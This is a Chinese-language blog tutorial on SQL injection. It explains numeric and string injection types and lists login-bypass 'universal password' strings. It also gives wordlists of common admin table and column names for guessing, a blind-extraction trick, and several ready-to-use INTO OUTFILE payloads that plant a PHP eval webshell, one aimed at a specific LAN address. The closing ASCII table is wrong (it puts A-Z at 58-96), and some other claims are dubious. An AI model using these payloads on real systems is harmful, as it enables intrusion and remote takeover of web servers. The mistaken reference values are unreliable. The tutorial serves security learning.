SQL注入原理
SQL注入并没有什么神奇之处,只是因为程序员的疏忽,把用户的输入未做校验就带入到数据库查询中。
用户对sql注入语句的可控性,可以输入数据库指令,被sql解析器执行,导致数据库被用户直接控制。
注入类型
按照数据库的角度分类
- 数字型
数字型注入意味着,当输入的参数是整型时,如:ID,年龄,页码等。例如URL为:http://www.xxx.com/test.php?id=5 可以猜测SQL语句为:select * from xxtable where id=5
数字型注入多见于ASP和PHP的应用程序中,因为ASP和PHP输入弱类型语言,例如:参数id=5,PHP会自动来推导变量id的数据类型为int类型,那么id=5 and 1=1 则会推导为String类型,这是弱类型语言的特征,而Java,c#这类强类型语言,如果试图把一个字符串转化为int类型,处理不当就会抛出异常,无法继续执行。这方面强类型语言比弱类型语言有先天优势,所以作为一个合格程序员,在数据类型处理方面一定要严格设置。
- 字符型
当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于,数字型不需要单引号闭合,因为sql中的数字类型操作类型的一般使用单引号来表示。如:
数字型:
select * from table where id =5
字符型:
select * from table where username='admin'
select * from table where username like '%admin%'
字符型注入也包括很多种,最后关键的是如何进行闭合,以及注释多余代码:
select * from table where username='admin' //这里需要闭合
select * from table where username='' or 1=1 --admin'
实际上执行的是:
select * from table where username='' or 1=1 --admin'
只要字符串则必须单引号闭合以及代码注释,无论select注入,Insert注入,或者其他类型注入。
我们利用两次单引号闭合才完成了这一次注入。
注意:根据数据库不同,字符串连接符不同,字符串连接符也不同,如SQLServer连接符是"+",Orcale连接符是"||",MySQL连接符为空格。
对比
- 数字型:
select * from table where id=8
select * from table where id=8 or 1=1
- 字符型:
select * from table where username='admin' //这里需要闭合
select * from table where username='' or 1=1 --admin'
其他分类方法
- 注入点不同
Cookie注入、POST注入、Get注入、搜索型注入
- 利用sql语句不同
Update注入、select注入、union注入
- 注入显错方式不同
显示注入、盲注
SQL注入经典案例:万能密码
- 'or 1=1# (结尾有空格)
- 'or 1=1-- (结尾有空格)
- 'or '1'='1
常用表名
通过自己几年的学习开发经验,总结了一下开发者常用的表名和用户会员常用的字段名称,这些可以帮助我们去猜测一些信息,从而为SQL注入收集一些值得去尝试的资料。
- 常用的表名
admin、 user、 news、 manage、 a_admin、 x_admin、 m_admin、 adminuser、 admin_user、 article_admin、 administrator、 manager、 member、 memberlist、 users、 Manage_User、 user_info、 admin_userinfo、 login、 new
- 用户会员常用的列名
username、 password、 id、 adminusername、 admin_username、 adminname 、admin_name、 admin adminuser、 admin_user、 user_name、 user_admin、 administrator、 administrators、 adminpassword、 admin_pwd、 adminpass、 userpass、 user_pass、 admin_passwod
小技巧
- 猜字段值(一个字母一个字母猜)
首先判断是否大于0,如果小于0说明已经猜到结尾,不存在!
and (select top 1 asc(mid(admin,2,1)) from admin)=字母的ASCII值 ==》二分法
- 传一句话木马
写一句话木马(PHP)
select '<?php @eval($_POST[cmd])?>' INTO OUTFILE 'C:/xampp/htdocs/360.php' #
http://192.168.17.102:800/510cms/510cms/news.php?newsid=25 union select 1,2,3,'<?php @eval($_POST[cmd])?>' INTO OUTFILE 'C:/wwwroot/510cms/360.php' #
通过菜刀连接
' union select NULL,NULL,NULL,'<?php @eval($_POST[cmd])?>' INTO OUTFILE 'C:/xampp/htdocs/360.php' --+
SQL注入常用工具
结束篇
这篇文章我们主要介绍了SQL的基本原理和分类以及在SQL注入当中的一些小技巧,这些内容都是小编在自己的学习当中总结出来的,如有错误或者不足,望大家批评指正。希望借此机会能够更大家一起学习交流,欢迎大家在评论区留言,下篇再见!
附录
由于在浏览器进行简单的sql注入时,经常需要猜测某些字符所对应的ASCII表,下面我们给出该表:
其中:
0-9 48-57
A-Z 58-96
a-z 97-122